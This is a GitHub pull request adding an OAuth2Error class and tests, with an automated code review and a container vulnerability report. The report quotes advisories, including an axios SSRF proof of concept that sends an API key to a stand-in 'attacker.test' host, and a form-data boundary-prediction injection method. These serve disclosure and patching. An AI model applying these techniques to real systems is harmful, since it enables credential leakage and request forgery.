Add OAuth2Error class and corresponding tests

[anatolyshipitz]

• Introduced a new error class OAuth2Error that extends AppError, providing a specific error handling mechanism for OAuth2-related issues.
• Added unit tests for OAuth2Error to verify the correct setting of message, name, and error code.

These changes enhance error management in the application by allowing for more granular handling of OAuth2 errors.

[coderabbitai]

📝 Walkthrough

Walkthrough

A new OAuth2Error class is introduced to encapsulate OAuth2-specific errors, extending from the existing AppError base class. The class is exported via the errors index file, and a corresponding test suite is added to verify its behavior and properties.

Changes

Cohort / File(s)	Change Summary
OAuth2Error Class Implementation workers/main/src/common/errors/OAuth2Error.ts	Adds the OAuth2Error class, extending AppError, with a code property and customized constructor.
OAuth2Error Export workers/main/src/common/errors/index.ts	Exports the new OAuth2Error class through the central errors index file.
OAuth2Error Tests workers/main/src/common/errors/OAuth2Error.test.ts	Introduces a test suite for OAuth2Error, verifying message, name, and code assignment.

Sequence Diagram(s)

sequenceDiagram
    participant AppCode
    participant OAuth2Error
    participant AppError

    AppCode->>OAuth2Error: new OAuth2Error(message, code?)
    OAuth2Error->>AppError: super(message, "OAuth2Error")
    OAuth2Error-->>AppCode: instance with message, name, code

Loading

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~8 minutes

Possibly related PRs

• Refactor error classes. #46: Introduces the AppError base class, which is directly extended by the new OAuth2Error class in this PR.

Suggested reviewers

• killev

Note

⚡️ Unit Test Generation is now available in beta!

Learn more here, or try it out under "Finishing Touches" below.

---

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between a6eaa04 and 653a1a7.

📒 Files selected for processing (3)

• workers/main/src/common/errors/OAuth2Error.test.ts (1 hunks)
• workers/main/src/common/errors/OAuth2Error.ts (1 hunks)
• workers/main/src/common/errors/index.ts (1 hunks)

🧰 Additional context used

🧠 Learnings (2)

📓 Common learnings

Learnt from: anatolyshipitz
PR: speedandfunction/automatization#78
File: workers/main/src/services/OAuth2/OAuth2TokenManager.ts:0-0
Timestamp: 2025-08-01T13:15:19.633Z
Learning: In workers/main/src/services/OAuth2/OAuth2TokenManager.ts, the user anatolyshipitz enhanced the OAuth2Error class with error code functionality, including a code property and ERROR_CODES constants. The OAuth2TokenRefreshProvider now throws typed errors with specific codes, and the OAuth2TokenManager uses these codes for conditional error handling instead of checking message text.

Learnt from: anatolyshipitz
PR: speedandfunction/automatization#34
File: workers/main/src/workflows/financial/FinancialReportFormatter.ts:3-7
Timestamp: 2025-05-30T17:57:21.010Z
Learning: User anatolyshipitz prefers to keep code implementations simple during early development stages rather than adding comprehensive error handling and validation. They consider extensive type annotations and error handling "redundant" when focusing on core functionality and testing.

📚 Learning: in workers/main/src/services/oauth2/oauth2tokenmanager.ts, the user anatolyshipitz enhanced the oaut...

Learnt from: anatolyshipitz
PR: speedandfunction/automatization#78
File: workers/main/src/services/OAuth2/OAuth2TokenManager.ts:0-0
Timestamp: 2025-08-01T13:15:19.633Z
Learning: In workers/main/src/services/OAuth2/OAuth2TokenManager.ts, the user anatolyshipitz enhanced the OAuth2Error class with error code functionality, including a code property and ERROR_CODES constants. The OAuth2TokenRefreshProvider now throws typed errors with specific codes, and the OAuth2TokenManager uses these codes for conditional error handling instead of checking message text.

Applied to files:

• workers/main/src/common/errors/index.ts
• workers/main/src/common/errors/OAuth2Error.ts
• workers/main/src/common/errors/OAuth2Error.test.ts

🧬 Code Graph Analysis (2)

workers/main/src/common/errors/OAuth2Error.ts (1)

workers/main/src/common/errors/AppError.ts (1)

• AppError (1-9)

workers/main/src/common/errors/OAuth2Error.test.ts (1)

workers/main/src/common/errors/OAuth2Error.ts (1)

• OAuth2Error (3-10)

⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)

• GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
• GitHub Check: Service Availability Check

🔇 Additional comments (3)

workers/main/src/common/errors/index.ts (1)

4-4: LGTM! Export follows established pattern.

The export statement correctly follows the existing pattern and maintains alphabetical ordering.

workers/main/src/common/errors/OAuth2Error.ts (1)

1-10: Well-implemented error class with proper inheritance and error codes.

The implementation demonstrates good TypeScript practices:

• Proper extension of AppError base class
• Readonly code property for type safety
• Sensible default error code
• Clean constructor with optional parameter

This aligns well with the previous enhancement of OAuth2Error functionality mentioned in the learnings.

workers/main/src/common/errors/OAuth2Error.test.ts (1)

1-21: Comprehensive test coverage for OAuth2Error class.

The test suite effectively covers both constructor scenarios:

• Default error code behavior
• Custom error code functionality
• All public properties (message, name, code) are verified

The tests are well-structured and provide adequate coverage for the OAuth2Error implementation.

✨ Finishing Touches

• 📝 Generate Docstrings

🧪 Generate unit tests

• Create PR with unit tests
• Post copyable unit tests in a comment
• Commit unit tests in branch feature/65031_oauth2_erors

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

• Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  • I pushed a fix in commit <commit_id>, please review it.
  • Explain this complex logic.
  • Open a follow-up GitHub issue for this discussion.
• Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
  • @coderabbitai explain this code block.
  • @coderabbitai modularize this function.
• PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
  • @coderabbitai read src/utils.ts and explain its main purpose.
  • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
  • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

• @coderabbitai pause to pause the reviews on a PR.
• @coderabbitai resume to resume the paused reviews.
• @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
• @coderabbitai full review to do a full review from scratch and review all the files again.
• @coderabbitai summary to regenerate the summary of the PR.
• @coderabbitai generate docstrings to generate docstrings for this PR.
• @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
• @coderabbitai generate unit tests to generate unit tests for this PR.
• @coderabbitai resolve resolve all the CodeRabbit review comments.
• @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
• @coderabbitai help to get help.

Other keywords and placeholders

• Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
• Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
• Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

• You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
• Please see the configuration documentation for more information.
• If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

• Visit our Documentation for detailed information on how to use CodeRabbit.
• Join our Discord Community to get help, request features, and share feedback.
• Follow us on X/Twitter for updates and announcements.

[github-actions]

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest

digest	sha256:5c68e2c8a2cd105746ef4eace6d1ebaf2ba66399b35fd9cd5c02ae4ccca999c0
vulnerabilities
platform	linux/amd64
size	243 MB
packages	1628

📦 Base Image node:20-alpine

also known as	20-alpine3.21 20.19-alpine 20.19-alpine3.21 20.19.0-alpine 20.19.0-alpine3.21 iron-alpine iron-alpine3.21
digest	sha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilities

stdlib 1.24.0 (golang) pkg:golang/[email protected] Affected range >=1.24.0-0 <1.24.2 Fixed version 1.24.2 EPSS Score 0.023% EPSS Percentile 4th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range >=1.24.0-0 <1.24.4 Fixed version 1.24.4 EPSS Score 0.012% EPSS Percentile 1st percentile Description Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.

samlify 2.9.0 (npm) pkg:npm/[email protected] Improper Verification of Cryptographic Signature Affected range <2.10.0 Fixed version 2.10.0 CVSS Score 9.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.026% EPSS Percentile 6th percentile Description A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user. An attacker would need a signed XML document by the identity provider.

form-data 4.0.0 (npm) pkg:npm/[email protected] Use of Insufficiently Random Values Affected range >=4.0.0 <4.0.4 Fixed version 4.0.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

form-data 2.5.3 (npm) pkg:npm/[email protected] Use of Insufficiently Random Values Affected range <2.5.4 Fixed version 2.5.4 CVSS Score 9.4 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.076% EPSS Percentile 23rd percentile Description Summary form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker: can observe other values produced by Math.random in the target application, and can control one field of a request made using form-data Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request. This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work. Details The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347 An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose) PoC PoC here: https://github.com/benweissmann/CVE-2025-7783-poc Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID). Impact For an application to be vulnerable, it must: Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array) Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values. If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

tar-fs 2.1.2 (npm) pkg:npm/[email protected] Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.3 Fixed version 2.1.3 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.112% EPSS Percentile 30th percentile Description Impact v3.0.8, v2.1.2, v1.16.4 and below Patches Has been patched in 3.0.9, 2.1.3, and 1.16.5 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

cross-spawn 7.0.3 (npm) pkg:npm/[email protected] Inefficient Regular Expression Complexity Affected range >=7.0.0 <7.0.5 Fixed version 7.0.5 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P EPSS Score 0.130% EPSS Percentile 33rd percentile Description Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

axios 1.7.4 (npm) pkg:npm/[email protected] Server-Side Request Forgery (SSRF) Affected range >=1.0.0 <1.8.2 Fixed version 1.8.2 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.024% EPSS Percentile 5th percentile Description Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers. It is recommended that: When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL. PoC Follow the steps below to reproduce the issue: Set up two simple HTTP servers: mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); Run the script: $ node main.js this is server2 Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/. Impact Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

semver 5.3.0 (npm) pkg:npm/[email protected] Inefficient Regular Expression Complexity Affected range <5.7.2 Fixed version 5.7.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.418% EPSS Percentile 61st percentile Description Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

pdfjs-dist 2.16.105 (npm) pkg:npm/[email protected] Improper Check for Unusual or Exceptional Conditions Affected range <=4.1.392 Fixed version 4.2.67 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 28.633% EPSS Percentile 96th percentile Description Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain. Patches The patch removes the use of eval: mozilla/pdf.js#18015 Workarounds Set the option isEvalSupported to false. References https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

multer 1.4.5-lts.2 (npm) pkg:npm/[email protected] Missing Release of Memory after Effective Lifetime Affected range <2.0.0 Fixed version 2.0.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.018% EPSS Percentile 3rd percentile Description Impact Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance. This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted. Patches Users should upgrade to 2.0.0 Workarounds None References fix: MEMORY LEAK expressjs/multer#1120 expressjs/multer@2c8505f

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
100.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[killev]

Looks good